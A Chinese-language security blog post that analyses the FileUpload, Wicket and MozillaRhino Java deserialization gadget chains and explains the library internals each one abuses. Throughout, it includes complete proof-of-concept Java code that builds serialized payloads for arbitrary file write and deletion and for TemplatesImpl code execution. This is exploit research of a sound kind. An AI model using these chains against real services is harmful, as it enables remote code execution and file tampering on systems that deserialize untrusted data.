Diggid's Blog

Java 反序列化Gadgets分析 - FileUpload/Wicket/MozillaRhino

字数统计: 6.6k阅读时长: 26 min
2021/09/16 Share

前言

继续分析3条链子。其中MozillaRhino2的链子十分有趣,建议仔细分析全弄懂

FileUpload1

这条链子可以在1.3及之前,可以实现任意文件写/任意文件删除,但在1.3.1版本之后只能实现任意目录写未知文件/任意文件删除

前置

FileUpload写入逻辑

可以使用org.apache.commons.fileupload.FileItem接口,可以接受处理在POST请求中上传的文件(表单项),有FileItemFactory工厂的createItem来生成FileItem示例,这是一个Factory Method的设计模式。

org.apache.commons.fileupload.disk.DiskFileItemFileItem的实现类,利用其可以保存文件,写入逻辑大致可概括为:

  • 当文件较小时,写在内存中,即以字节数组的形式保存在一个成员变量中
  • 当文件较大时,以临时文件的形式写在文件中,正常情况下,我们可以指定写入文件的目录,而文件名是upload_%s_%s.tmp的形式

DiskFileItem

具体看一下这个类几个成员变量

  • repository:File类型的成员变量,指定临时文件的目录
  • cachedContent:内存形式写入的话,保存在该字节数组中,再深一点,其实是保存在DeferredFileOutputStream对象的memoryOutputStream成员变量中,允许序列化
  • sizeThreshold:文件大小阈值。以该值划分写入方式。
  • fileName:原始文件名
  • dfos:DeferredFileOutputStream对象,DiskFileItem的写入操作实际使用DeferredFileOutputStream来完成的,具体写入的操作细节这里不深究
  • dfosFile:File类型,允许序列化,保存源文件

接下来我们再看一下writeObject和readObject的逻辑

  1. writeObject

先调用dfos.isInMemory()判断写在哪里,判断依据是written > threshold,written表示写入文件的内容大小,如果大于阈值,那就是写在文件中了。

image-20210916155518621

  • 在内存中的话,则调用get,从dfos.getdata()获取数据赋值给cachedContent

image-20210916155632449

image-20210916155750933

  • 在临时文件中,取出dfos.outputFile变量赋值给dfosFile

image-20210916155853962

然后序列化时就能将cachedContentdfosFile序列化

  1. readObject

先进行一波对repository的路径检查(前面说的1.3及以下是没有的),因为路径可以通过\0进行截断,这样我们就可以通过repository指定任意文件了,具体获取临时文件的逻辑继续往下看

image-20210916160017918

然后和writeObject一样的判断逻辑

image-20210916160210854

先看一下output是啥,返回的是一个DeferredFileOutputStream对象,设置了阈值和outputFile,也就是输出文件的路径

image-20210916160343026

继续看一下getTempFile,这里就是目录和文件名拼接的逻辑部分了,因此\0能够截断,正常文件名的形式如下图

image-20210916160451462

接着回到readObject中:

  • 在内存中,就直接从cachedContent变量中获取文件内容然后写入
  • 在临时文件中,就任意目录写 + 删除原来指定的文件

POC

任意文件写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class FileUpload1 {
public static void main(String[] args) throws Exception{
byte[] bytes = "diggid".getBytes(StandardCharsets.UTF_8);
// 可以使用 \0 截断
File repository = new File("src/main/java/gadgets/fileupload/test.txt\0");
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, repository);

// 使用 repository 初始化反序列化的 DiskFileItem 对象
DiskFileItem diskFileItem = new DiskFileItem(null, null, false, null, 0, repository);

// 序列化时 writeObject 要求 dfos 不能为 null
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "cachedContent", bytes);

Serializer.writeToFile("src/main/java/gadgets/fileupload/exp.bin", diskFileItem);
Serializer.readFromFile("src/main/java/gadgets/fileupload/exp.bin");
}
}

任意文件删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class FileUpload2 {
public static void main(String[] args) throws Exception{

// 在 1.3.1 及以上,只能指定目录
File repository = new File("src/main/java/gadgets/fileupload");
File outputFile = new File("src/main/java/gadgets/fileupload/delete.txt");

DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, outputFile);

// 注意要设置dfos的written为1 > 0(threshold), 表示写在文件中了。
Reflections.setFieldValue(dfos, "written", 1);
// 使用 repository 初始化反序列化的 DiskFileItem 对象
DiskFileItem diskFileItem = new DiskFileItem(null, null, false, null, 0, repository);

// 序列化时 writeObject 要求 dfos 不能为 null
Reflections.setFieldValue(diskFileItem, "dfos", dfos);

Serializer.writeToFile("src/main/java/gadgets/fileupload/exp.bin", diskFileItem);
Serializer.readFromFile("src/main/java/gadgets/fileupload/exp.bin");
}
}

Wicket1

Apache Wicket == FileUpload

2333333

MozillaRhino1

前置

Scriptable接口/ScriptableObject抽象类

Rhino引擎中,我们需要做到用java的方式来映射javascript对象,先要定义一个接口来表示这个对象是javascript对象,所以这个接口就是Scriptable,实现了这个接口的类,表示这个对象是一个java表示的javascript对象,而ScriptableObject抽象类是Scriptable的基本实现,定义了一系列的方法用于处理javascript对象的行为

而在该对象中,有一个Slot数组类型成员变量slots,Slot类型有一个GetterSlot子类,里面有两个属性gettersetter,在后面的链子中会调用。

这个接口的UML类图如下:

NativeError

image-20210916173049117

NativeError 的 toString 方法调用了 js_toString 方法,参数是 this,牢牢记住

image-20210916173206358

image-20210916173222096

继续看到getString方法,调用了ScriptableObject.getProperty(obj, id);,obj是NativeError(this)一直保持传递

image-20210916173312159

image-20210916173425639

可以看到,是调用的obj.get(name, start)来获取的,注意这里的start是被obj赋值,然后继续传递下去了。NativeError没有get方法,回溯到ScriptableObject的get方法,然后再调用getImpl方法

image-20210916173640290

image-20210916173732876

这里先调用getSlot来获取Slot,这里我们可以根据getSlot方法的逻辑(逻辑很简单,看一下就知道了),来设置其返回我们需要的GetterSlot,那么在后面的getterObj就可以通过设置GetterSlot.getter来设置为任意对象了。

继续看一下后半部分

image-20210916174425367

可以发现第一个if分支,如果nativeGetter.delegateTo为null,getterThis就是NativeError,如果不为null,那也没用,因为这个变量被transient修饰,而且在writeObject逻辑中没有特殊处理,所以我们无法控制其为任意对象,也就没办法控制getterThis

所以我们要看一下else这个分支。

MemberBox

在继续连接上面的else分支之前,我们先看一下MemberBox,该类是一个java.lang.reflect.Member的封装类(Member包括构造器、方法、属性)。其中定义了invoke方法来支持反射调用,这里是我们的一个Sink点,只要控制传入的两个参数即可完成任意类的方法调用,而method我们是可控的

image-20210916175047179

image-20210916175057246

尽管memberObject变量被transient修饰,但是在MemberBox的writeObject/readObject方法中特殊处理了memberObject的序列化/反序列化流程,大致是将method的方法名、所属类、参数类型等都写入了序列化流中

NativeJavaMethod

我们继续来看else分支会不会有奇迹。

image-20210916175513331

我们知道getterObj是任意可控的,这个分支中,首先要cast成Function类型的,后面又要调用call方法,那么肯定实现了Function接口的类都会重写其中的call方法,因此我们找到合适的即可。再看一下类图

image-20210916175910710

经过一番搜索,可以发现NativeJavaMethod#call里有惊喜,这个方法很长,截取部分关键逻辑

  • findFunction方法根据methods(MemberBox数组)和args参数获取对于MemberBox的索引,然后根据索引获取并赋值给meth,因此这里的meth是可控的

image-20210916183921789

  • 处理方法调用的逻辑

看到最后调用了meth.invoke(javaObject, args);,这里就可以连接MemberBox的部分了,关键要看javaObject是否可控。可以看到中间的条件,当o实现了Wrapper,进入if,且o.unwrap()获取的javaObject是c(要执行的方法的所属类)的实例时,可以跳出这个for(;;)的无限循环,同时javaObject也刚好就是合适的对象,传入meth.invoke()中就能够顺利执行了。第一此for循环时,o = thisObj,即NativeError,显然不符合o实现了Wrapper,但是我们会调用o = o.getPrototype()继续下一次循环。

image-20210916184208544

看一下NativeError#getPrototype,定义在父类org.mozilla.javascript.ScriptableObject中,prototypeObject可控,所以我们现在的目标是:找到一个类,实现了Wrapperunwarp()方法可控,这样我们就能够使javaObject设置成合适的对象。

image-20210916185636208

回溯一下args,可以发现是上一步的ScriptRuntime.emptyArgs传下来的,是一个new Object[0],所以我们最终可以实现的只是调用任意public无参方法。

NativeJavaObject

看一下Wrapper的实现类

image-20210916185947036

NativeJavaObject这个类正好符合上面的要求,尽管javaObject是被transient修饰,但和前面的memberObject一样,被特殊处理了

image-20210916190018944

image-20210916190026365

利用链

1
2
3
4
5
6
7
8
9
BadAttributeValueExpException#readObject()
NativeError#toString()
ScriptableObject#getProperty()
ScriptableObject#getImpl()
|ScriptableObject#getSlot() -> 获取NativeJavaMethod
NativeJavaMethod#call()
|NativeJavaObject#unwrap() -> 获取TemplatesImpl
MemberBox#invoke()
TemplatesImpl.newTransformer()

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class MozillaRhino1 {
public static void main(String[] args) throws Exception{
String cmd = "open /System/Applications/Calculator.app";
TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl(cmd);
Method newTransformer = Reflections.getMethod(templates.getClass(), "newTransformer");
// NativeJavaObject,需要调用标准的NativeJavaObject构造方法来设置变量,否则该类反序列化时会出错
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
NativeJavaObject javaObject = new NativeJavaObject(scriptableObject, templates, TemplatesImpl.class);

// NativeJavaMethod
NativeJavaMethod javaMethod = new NativeJavaMethod(newTransformer, "xxx");

Object nativeError;
boolean sureFlag = true;
if (sureFlag){
// 这种处理方式是合理的:调用构造方法来初始化,即使构造方法是空的,但是一些static字段的变量会被赋值,而不是全为null;调用getSlot来设置getterSlot,也就是调用内置的方法去设置相应的变量,这样比较稳定不容易报错,如果是反射直接设置值,可能会漏设一些相关的变量当值nullpoint的错误
nativeError = Reflections.newInstance("org.mozilla.javascript.NativeError");
Reflections.setFieldValue(nativeError, "prototypeObject", javaObject);
Method getSlot = Reflections.getMethod(ScriptableObject.class, "getSlot", new Class[]{String.class, int.class, int.class});
Object getterSlot = getSlot.invoke(nativeError, "name", 0, 4);
Reflections.setFieldValue(getterSlot, "getter", javaMethod);
} else {
// 这种处理方式是不稳定的:这里调用的是unsafe的方式初始化nativeError,因此所有字段值都是null,且后续并不是调用的getSlot来设置getterSlot,所以我们需要手动设置一些getSlot过程中设置的变量
nativeError = Reflections.getObject("org.mozilla.javascript.NativeError");
Reflections.setFieldValue(nativeError, "prototypeObject", javaObject);
Object getterSlot = Reflections.getObject("org.mozilla.javascript.ScriptableObject$GetterSlot");
Reflections.setFieldValue(getterSlot, "getter", javaMethod);
Reflections.setFieldValue(getterSlot, "name", "name");
Reflections.setFieldValue(nativeError,"firstAdded",getterSlot);
Reflections.setFieldValue(nativeError,"count", 1);
Reflections.setArrayFieldValue(nativeError, "slots", new Object[]{getterSlot});
}

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Reflections.setFieldValue(val, "val", nativeError);

Serializer.writeToFile("src/main/java/gadgets/mozillarhino/exp.bin", val);
Serializer.readFromFile("src/main/java/gadgets/mozillarhino/exp.bin");
}
}

MozillaRhino2*

这条链子很长很难懂,主要是需要十分了解Rhino的内部架构和工作方式。否则很容易混淆Rhino中封装的java对象和实际java对象的一些关系。由于MozillaRhino1依赖了BadAttributeValueExpException,所以有jdk>8u76的限制,而这条链就是为了解除该限制而诞生的

前置

JavaMembers封装java类

org.mozilla.javascript.JavaMembers 是 Rhino 对 Java Class的一种封装和描述。其封装了java Class的一些信息,包括Field、Method、BeanProperty(这个也是Field,只不过是特殊的bean属性,带getter/setter),实例化JavaMembers的过程就是从一个Java Class中提取上述信息然后以Map的映射封装在JavaMembers实例的过程

看一下这个类的构造函数,传入三个参数

  • scope:一个Scriptable接口的实现类,表示一个java类的作用域,在这个作用域中,规定了这个java类可以访问的对象和属性
  • cl:就是要封装的java class
  • includeProtected:是否包含 protect 修饰符

image-20210917112525663

然后会调用reflect()进行我们上述说的提取和封装

  1. 映射并封装Method

主要分两步:

  • 先提取该Class类的所有方法,并以是否static划分,以name - method的键值对分别放入membersstaticMembers的Map中
  • 将第一步获取的所有Method实例封装在NativeJavaMethod
  1. 映射Field

和Method处理一样,只是少了封装,也放在membersstaticMembers中,如果出现方法名和字段名一样,那么就调用FieldAndMethods将这两者封装在一起

  1. 处理BeanProperty

主要分四步:

  • 对所有 get/set/is 开头 的方法名进行提取,去除前缀并将第一位字母改为小写,作为 beanPropertyName
  • 在 staticMembers 和 members 中查找属性对应的 get/set/is 方法的映射
  • 使用获得的getter/setter来实例化BeanProperty,同时建立BeanPropertyName - BeanProperty的映射

image-20210917114008346

  • 同时会覆盖掉第三步对应字段名的映射(由Field替换为BeanProperty)

image-20210917120311944

  1. 封装构造方法

获取所有的构造方法,封装在MemberBox中,然后存入ctors数组

初始化完毕后,我们就可以利用JavaMembers来获取一个java Class的几乎所有信息了。获取这些信息的方式由JavaMembers提供的方法来完成,这里我们关注一下lookupClassget这两个方法

lookupClass

贴一下部分代码。主要就是为JavaMembers提供一个缓存功能,实际提供缓存功能的是ClassCache这个类,其中有Map来存储映射关系,classTable成员变量是用来存储Class和JavaMembers的映射关系的,如果在该缓存中有对应类的JavaMembers,那么就不必在重新对该类初始化一次JavaMembers了,直接从缓存中取,否则就初始化新的JavaMembers并建立映射关系。

image-20210917114657587

get

这个方法是链子的关键触发点。它的功能是从一个javaObject实例中获取name属性对应的值,获取的方式是调用这个属性的 getter 方法,然后获取的返回值用特定的wrap来封装,比如 Array 用 NativeJavaArray。如果该属性是BeanProperty的话,肯定有BeanProperty的映射,然后调用前面设置的getter来获取属性值,这里是漏洞触发点

image-20210917120017335

NativeJavaObject

第一重身份:get触发点

这个类是javaObject的封装,其中保存了javaObject以及这个Object的类对应的JavaMembers。

直接看一下NativeJavaObject#get方法,可以看到这里调用了member#get,且javaObject是可控的,name是传进来的,所以我们可以通过如下方式触发一下漏洞。

1
2
3
4
5
TemplatesImpl javaObject = (TemplatesImpl) Gadgets.createTemplatesImpl("open /System/Applications/Calculator.app");
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
NativeJavaObject nativeJavaObject = new NativeJavaObject(scriptableObject, javaObject, TemplatesImpl.class);
nativeJavaObject.get("outputProperties", scriptableObject);

image-20210917120753449

第二重身份:readObject

所以我们要找一下哪里会调用NativeJavaObject#get,看一下该类的NativeJavaObject#readObject

image-20210917121320782

如果isAdapter为false的话,会委托给org.mozilla.javascript.JavaAdapter#readAdapterObject方法来处理

image-20210917121416486

我们先不看JavaAdapter#readAdapterObject,先看一下writeAdapterObject的处理逻辑,否则read的也看不懂。可以看到,序列化写入了javaObject的一些信息,包括:父类的名字、接口的名字,还写入了个叫delegee的字段值,我们暂且先不分析这玩意是啥,只需要知道他可以被设置为javaObject成员变量即可,所以delegee是可控的。

image-20210917121836138

然后看一下readAdapterObject就和write是一一对应的了。

image-20210917122357218

继续跟进一下org.mozilla.javascript.JavaAdapter#getAdapterClass方法

image-20210917122627568

obj是前面传进来的delegee,继续跟进getObjectFunctionNames

再跟进ScriptableObject.getProperty(obj, id);看一下,这个getProperty方法在上条链中也出现过了,我们知道其中会调用obj.get(name, start);,那这不就是前面我们想要连接get的方法了吗,如果obj是NativeJavaObjectnameoutputProperties就可以完美触发漏洞的。这里的obj是前面传递下来的delegee,是可控的,关键就在这个name是否可控了。

image-20210917122820783

到这里我们就应该将NativeJavaObject当成两个角色来看,前面那个角色是get的触发点,我们可以通过设置NativeJavaObject2的javaObject为NativeJavaObject1,然后通过delegee传下来一直到这里的objNativeJavaObject2充当第二个角色,而NativeJavaObject1充当第一个角色。

ScriptableObject#getPropertyIds

回溯一下这个name,可以发现是通过ScriptableObject.getPropertyIds(obj)获取的ids数组,然后循环调用,具体看一下getPropertyIds.

这里可以写个demo跟一下,光看可能比较难看懂

1
ScriptableObject.getPropertyIds(nativeJavaObject);

首先是obj.getIds(),内部是委托的members#getIds,其实就是获取非static的全部成员变量和方法的name

image-20210917135740013

最后获取到这些,可以看到outputProperties是在里面的,还会获取到其他的name

image-20210917135850129

接着就获取prototype,在prototype中获取属性,和javascript的原型链的逻辑一模一样,这里由于没设置prototype,所以是null,处理就结束了。而如果prototype不为null的话,和原型链的逻辑一样,会找出prototype的ids,然后merge到一起。

image-20210917140336480

所以是能够获取到outputProperties的,但是在获取到这个name之前,还会获取到其他的属性名,这样传进去就会报错。所以我们要保证这个ScriptableObject.getPropertyIds(obj)获取到ids只能是outputProperties。首先可以确定的是,我们不能通过设置prototype的方式来实现,因为prototype获取到的属性是merge的,并不会减少,只会在this的基础上越来越多。所以我们的落脚点应该是如何找到一个类,该类可以复刻NativeJavaObject#get作为触发点的功能,并且其getIds方法可控返回不多余一个的id

那最直接的想法就是找NativeJavaObject的子类,这样至少get是比较稳妥的

NativeJavaArray + Environment

漏洞作者想到了一个十分十分十分巧妙的办法,找到了满足上面要求的两个类构成组合拳。我们先看一下NativeJavaArray

这个类是继承NativeJavaObject的,所以该类也可以用来保存我们的javaObject和对应的JavaMembers,而且前面说到,漏洞的触发点是NativeJavaObject.get(),而这里的NativeJavaArray#get方法也调用了父类的get方法,所以这里也可以作为漏洞的触发点

image-20210917145021254

最关键的是,要解决上面说的ScriptableObject.getPropertyIds(obj)只返回outputProperties,那我们先看下这个类的getIds方法

image-20210917145153288

length可控,但是可惜的是,这里没有控制id成为”outputProperties”的点,但至少,我们可以先让length=0,然后寄希望于找到一个prototype,这个prototype可以控制getIds达到我们想要的效果。prototype的类型Scriptable,所以我们可以找的范围很广。

漏洞作者这里找到了org.mozilla.javascript.tools.shell.Environment,直接看一下他的getIds方法

image-20210917150300509

继续跟进super.getIds(),其实就是org.mozilla.javascript.ScriptableObject#getIds(boolean)

根据下面框出的三个部分,只要设置firstAdded是一个Slot类型,且他的nameoutputProperties,最后返回a数组就只有一个outputProperties的元素了。完美符合我们的要求。

image-20210917150544731

image-20210917150619204

image-20210917150638141

分析到这里,链子就有了。我们需要用NativeJavaArray来替换的NativeJavaObject1,也就是把NativeJavaObject2javaObject成员变量替换为NativeJavaArray,并且设置NativeJavaArray的prototype为Environment

delegee & 修改writeAdapterObject

前面基本上是分析完了链子的构造,但是有一些细节的地方还没说到。回到前面提到的delegee,前面说是可以把delegee认为是可控的javaObject,依据何在呢?关键的语句是

1
2
Object delegee = cl.getField("delegee").get(javaObject);
out.writeObject(delegee);

可以看到这句反射代码实际就是获取javaObject的一个名为delegee的字段值,然后把该字段值写入。

而这里的javaObject我们是要设置成NativeJavaArray的,但这个类是没有delegee这个字段的,那实际写入的时候就会报错。

这里的解决办法是类似于jdk8u20一样,需要修改代码中定义的序列化流程,jdk8u20是以数组的形式修改字节码,这里不用这么麻烦,因为前面提到了从NativeJavaObject#writeObject委托JavaAdapter#writeAdapterObject处理,是通过设置adapter_writeAdapterObject成员变量,然后反射调用的,所以这里我们可以设置adapter_writeAdapterObject成我们自己定义的序列化方法,注意在改的时候要注意自定义的方法和writeAdapterObject的签名要一样(返回值和参数类型)。ysoserial中是这么写的

1
2
3
4
5
public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
out.writeObject("java.lang.Object"); // 对应out.writeObject(cl.getSuperclass().getName());
out.writeObject(new String[0]); // 对应out.writeObject(interfaceNames);
out.writeObject(javaObject); // 对应out.writeObject(delegee);
}

那我们这样修改后会不会影响反序列化的逻辑呢?

看一下readAdapterObject反序列化delegee的点,没啥限制,就单纯从序列化流中读了,没在代码层面做限制

image-20210917192827287

Context - 线程共享变量

如果按照上面的思路写POC的话,会发现执行不了,经过一番调试,发现在org.mozilla.javascript.JavaMembers#get中报错

image-20210917193125997

image-20210917193209190

原因是getCurrentContext获取当前context是null,跟进看一下getCurrentContext

image-20210917193301689

image-20210917193820569

光看这个可能不知道怎么解决,想到MozillaRhino1设置的context,调用的是Context.enter()方法:

1
2
3
4
// NativeJavaObject,需要调用标准的NativeJavaObject构造方法来设置变量,否则该类反序列化时会出错,同时还要设置context上下文
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
NativeJavaObject javaObject = new NativeJavaObject(scriptableObject, templates, TemplatesImpl.class);

这里详细解读一下enter方法。

  • 先调用VMBridge.instance.getThreadContextHelper();来向线程中设置一个变量,并返回该变量。具体的操作是调用contextLocal.get()获取一个线程级的变量保存到storage中,由于一开始是null,所以直接set到线程中。然后返回这个storage

image-20210917231506264

image-20210917231434313

  • 再调用VMBridge.instance.getContext(helper);来获取context,显然在当前线程中,context为null

image-20210917231824595

  • 调用factory.makeContext();用工厂来生成context

image-20210917231940317

  • 最后调用VMBridge.instance.setContext(helper, cx);来向当前线程设置context,注意这里的helper是上面返回的线程变量,我们给这个线程变量赋值了context

![image-20210917232256650](/Users/a861881/Library/Application Support/typora-user-images/image-20210917232256650.png)

所以我们在POC的最上方直接写Context.enter();就可以了吗?

1
2
Context context = Context.enter();
调用链的POC

你会发现真的可以弹计算机,但此时把生成的序列化文件exp.bin单拿出来反序列化,会发现弹不出计算机。为什么?

仔细想一下,我们POC测试的时候是同一个Main程序,是同一个线程的,因此反序列化部分会共享到POC中设置的context,因此我们能成功,但实际利用肯定是分开的,这样设置是行不通的。所以我们只能够在反序列化的过程调用Context.enter()才行

复用链1在反序列化时设置Context

漏洞作者想到了一个十分绝妙的方法。这里要结合MozillaRhino1,通过设置GetterSlot.getterMemberBox来实现任意public无参方法的调用,链子可以从ScriptableObject#getProperty()作为起点调用下来,正好这条链也有这一部分的调用链,在JavaAdapter#getObjectFunctionNames()方法中会调用ScriptableObject#getProperty(),所以我们另起一个分支,这个分支也是从NativeJavaObject#readObject()开始,但是到ScriptableObject#getProperty()时,我们就要复用链1的部分来最终实现调用Context#enter,分支部分的代码如下,可以照着链1来写

注意这里,不需要像链1一样控制javaObject,所以NativeJavaMethod后面的部分就不用了,走的是if分支

image-20210918000043581

1
2
3
4
5
6
7
8
9
10
11
12
13
Object initContextMemberBox = Reflections.newInstance("org.mozilla.javascript.MemberBox", Context.class.getMethod("enter")); //enter是static的,所以不需要像链1一样控制javaObject,传入任意都可以

ScriptableObject initContextScriptableObject = new Environment();
// yso是用的accessSlot,和getSlot没差
Method getSlot = Reflections.getMethod(ScriptableObject.class, "getSlot", new Class[]{String.class, int.class, int.class});
Object slot = accessSlot.invoke(initContextScriptableObject, "foo", 0, 4);
Reflections.setFieldValue(slot, "getter", initContextMemberBox);

NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
Reflections.setFieldValue(initContextNativeJavaObject, "parent", scope);
Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", Reflections.getMethod(MozillaRhino2.class, "customWriteAdapterObject", new Class[]{Object.class, ObjectOutputStream.class}));
Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);

那我们如何连接这两条链子呢,而且需要保证设置context的链子(context链)先于实际链子(执行链)开始反序列化。最简单的方法是给执行链的NativeJavaObject的任意一个合适的属性设置成context链的NativeJavaObject即可,这样在反序列化时,NativeJavaObject#readObject先调用in.defaultReadObject();来处理非特殊处理的属性,这时就会先执行context链了。

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
NativeJavaObject(execute)#readObject()
|NativeJavaObject(context)#readObject()
JavaAdapter#readAdapterObject()
JavaAdapter#getAdapterClass()
JavaAdapter#getObjectFunctionNames()
ScriptableObject#getProperty()
ScriptableObject#getImpl()
|ScriptableObject#getSlot() -> 获取MemberBox(里面装了enter方法)
MemberBox#invoke()
Context#enter()
JavaAdapter#readAdapterObject()
JavaAdapter#getAdapterClass()
JavaAdapter#getObjectFunctionNames()
|ScriptableObject#getPropertyIds() -> NativeJavaArray#getIds() -> Environment#getIds() 关键一步
ScriptableObject#getProperty()
NativeJavaArray#get()
JavaMembers#get()
TemplatesImpl#getOutputProperties()

这条链子的难点真的是**的多,这里再汇总盘点一下:

  1. NativeJavaObject的两重身份,一开始看的时候注意别弄混了,第一重身份是被NativeJavaArray替换调了
  2. 如何控制ScriptableObject#getPropertyIds只返回”outputProperties”。

NativeJavaArray返回空,加上prototype的Environment可控返回任意

  1. 如何解决线程共享变量context为null的问题。

首先应该明确给序列化过程中对象的任何属性设置context来保存都是不行的,因为context这里是通过线程共享来获取的,也就是说我们的实际利用过程是反序列化过程,因此只能在反序列化过程中设置。

看到执行链中有复用链1的地方,那么我们可以新开一个分支链来复用链1实现调用Context#enter,最后再通过给执行链的NativeJavaObject的任意合适属实(这里选取的是parentScopeObject)设置为context链的NativeJavaObject,即可两条链的连接,同时保证context链先执行。

POC

image-20210917172314041

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public class MozillaRhino2 {
public static void main(String[] args) throws Exception{
// 设置一个全局scope
ScriptableObject scope = new Environment();
TemplatesImpl javaObject = (TemplatesImpl) Gadgets.createTemplatesImpl("open /System/Applications/Calculator.app");
Map<Object, Object> associatedValues = new Hashtable<>();
// 创建一个 ClassCache 实例,不设置的话会报错
Object classCacheObject = Reflections.getObject("org.mozilla.javascript.ClassCache");
associatedValues.put("ClassCache", classCacheObject);
Reflections.setFieldValue(scope, "associatedValues", associatedValues);

// 设置一个context
Object initContextMemberBox = Reflections.newInstance("org.mozilla.javascript.MemberBox", Context.class.getMethod("enter"));

ScriptableObject initContextScriptableObject = new Environment();
Method getSlot = Reflections.getMethod(ScriptableObject.class, "getSlot", new Class[]{String.class, int.class, int.class});
Object slot = getSlot.invoke(initContextScriptableObject, "foo", 0, 4);
Reflections.setFieldValue(slot, "getter", initContextMemberBox);

NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
Reflections.setFieldValue(initContextNativeJavaObject, "parent", scope);
Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);

// 因为adapter_writeAdapterObject是static的,这里给NativeJavaObject设置过了后面就不用设置了。
Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", Reflections.getMethod(MozillaRhino2.class, "customWriteAdapterObject", new Class[]{Object.class, ObjectOutputStream.class}));

Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);

// 实例化Environment,作为prototype
ScriptableObject environment = new Environment();
environment.setParentScope(initContextNativeJavaObject);
getSlot.invoke(environment, new Object[]{"outputProperties", 0, 4});

// 实例化NativeJavaArray类,过程中会自动设置JavaMembers
NativeJavaArray nativeJavaArray = (NativeJavaArray) Reflections.getObject("org.mozilla.javascript.NativeJavaArray");
Reflections.setFieldValue(nativeJavaArray, "parent", scope);
Reflections.setFieldValue(nativeJavaArray, "javaObject", javaObject);
Reflections.setFieldValue(nativeJavaArray, "prototype", environment);
Reflections.setFieldValue(nativeJavaArray,"length", 0);

// 实例化NativeJavaObject,作为最外层的readObject用,还要设置isAdpater为true,但是不能直接设置,否则会报错
NativeJavaObject nativeJavaObject = new NativeJavaObject();
Reflections.setFieldValue(nativeJavaObject, "parent", scope);
Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
System.out.println(Reflections.getFieldValue(nativeJavaObject, "adapter_writeAdapterObject"));
// environment.setParentScope(nativeJavaObject);
Serializer.writeToFile("src/main/java/gadgets/mozillarhino/exp.bin", nativeJavaObject);
Serializer.readFromFile("src/main/java/gadgets/mozillarhino/exp.bin");
}

public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
out.writeObject("java.lang.Object");
out.writeObject(new String[0]);
out.writeObject(javaObject);
}
}
CATALOG
  1. 1. 前言
  2. 2. FileUpload1
    1. 2.1. 前置
      1. 2.1.1. FileUpload写入逻辑
      2. 2.1.2. DiskFileItem
    2. 2.2. POC
      1. 2.2.1. 任意文件写
      2. 2.2.2. 任意文件删除
  3. 3. Wicket1
  4. 4. MozillaRhino1
    1. 4.1. 前置
      1. 4.1.1. Scriptable接口/ScriptableObject抽象类
      2. 4.1.2. NativeError
      3. 4.1.3. MemberBox
      4. 4.1.4. NativeJavaMethod
      5. 4.1.5. NativeJavaObject
    2. 4.2. 利用链
    3. 4.3. POC
  5. 5. MozillaRhino2*
    1. 5.1. 前置
      1. 5.1.1. JavaMembers封装java类
        1. 5.1.1.1. lookupClass
        2. 5.1.1.2. get
      2. 5.1.2. NativeJavaObject
        1. 5.1.2.1. 第一重身份:get触发点
        2. 5.1.2.2. 第二重身份:readObject
      3. 5.1.3. ScriptableObject#getPropertyIds
      4. 5.1.4. NativeJavaArray + Environment
      5. 5.1.5. delegee & 修改writeAdapterObject
      6. 5.1.6. Context - 线程共享变量
      7. 5.1.7. 复用链1在反序列化时设置Context
    2. 5.2. 利用链
    3. 5.3. POC